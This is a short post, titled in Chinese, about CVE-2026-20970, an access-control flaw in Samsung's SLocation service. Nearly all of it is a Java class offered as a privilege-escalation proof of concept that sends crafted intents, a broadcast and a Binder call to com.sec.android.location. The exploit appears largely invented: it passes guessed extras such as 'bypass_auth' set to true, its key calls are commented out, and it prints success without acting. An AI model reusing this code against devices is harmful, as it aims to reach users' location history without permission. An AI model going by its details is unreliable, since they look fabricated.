CVE-2026-20970 三星SLocation访问控制不当漏洞

// CVE-2026-20970 PoC - SLocation Privilege Escalation // This PoC demonstrates improper access control in Samsung SLocation // Note: This is for educational and security research purposes only package com.example.cve202620970; import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; public class SLocationExploit { // Target component information private static final String TARGET_PACKAGE = "com.sec.android.location"; private static final String TARGET_SERVICE = "com.sec.android.location.SLocationService"; // Exploit method 1: Direct service invocation public void exploitViaService() { Intent intent = new Intent(); intent.setComponent(new ComponentName(TARGET_PACKAGE, TARGET_SERVICE)); // Craft malicious extras to bypass access control Bundle extras = new Bundle(); extras.putString("action", "privileged_api_call"); extras.putString("api_name", "getLocationHistory"); extras.putBoolean("bypass_auth", true); extras.putInt("requested_permission_level", 0); // Request lowest privilege intent.putExtras(extras); // Start the service without proper permission check // This may allow execution of privileged APIs try { // In real attack scenario, this would be called from a low-privilege app // startService(intent); System.out.println("Malicious intent crafted successfully"); } catch (SecurityException e) { System.out.println("Permission denied: " + e.getMessage()); } } // Exploit method 2: Broadcast receiver exploitation public void exploitViaBroadcast() { Intent broadcast = new Intent(); broadcast.setAction("com.samsung.location.PRIVILEGED_ACTION"); broadcast.setPackage(TARGET_PACKAGE); Bundle data = new Bundle(); data.putString("command", "execute_privileged"); data.putString("target_api", "sensitive_data_access"); broadcast.putExtras(data); // sendBroadcast(broadcast); // May bypass permission checks } // Exploit method 3: Binder interface abuse public void exploitViaBinder() { // In real scenario, obtain IBinder from SLocation service // and invoke privileged methods without proper validation try { // IBinder binder = ServiceManager.getService("slocation"); // Use reflection or direct binding to call privileged methods System.out.println("Attempting Binder-based exploitation"); } catch (Exception e) { System.out.println("Binder exploitation failed: " + e.getMessage()); } } } // Mitigation: Apply Samsung SMR Jan-2026 Release 1 or later // Verify proper permission checks before API execution // Implement additional authentication for privileged operations
